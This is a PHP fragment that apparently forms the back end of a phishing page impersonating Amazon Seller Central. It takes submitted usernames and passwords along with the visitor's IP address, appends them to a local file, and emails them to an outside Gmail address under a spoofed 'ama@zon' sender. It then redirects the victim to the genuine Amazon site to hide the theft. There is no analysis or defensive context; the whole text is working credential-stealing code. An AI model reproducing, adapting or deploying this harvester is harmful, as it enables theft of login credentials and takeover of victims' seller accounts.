$fp = fopen("succes.txt", "a"); $msg="--------------------\n". "ip: ".@$pfw_ip= $_SERVER['REMOTE_ADDR']."\n". "Login: ".$_POST[user]."\n". "Password: ".$_POST[pass]."\n"; fwrite($fp,$msg); $header = "From: ama@zon\r\n"; mail("amazonvin@gmail.com","IP: ".@$pfw_ip= $_SERVER['REMOTE_ADDR'],"User: ".$_POST[user]."\nPassword: ".$_POST[pass], $header); header("Location: http://sellercentral.amazon.de"); ?>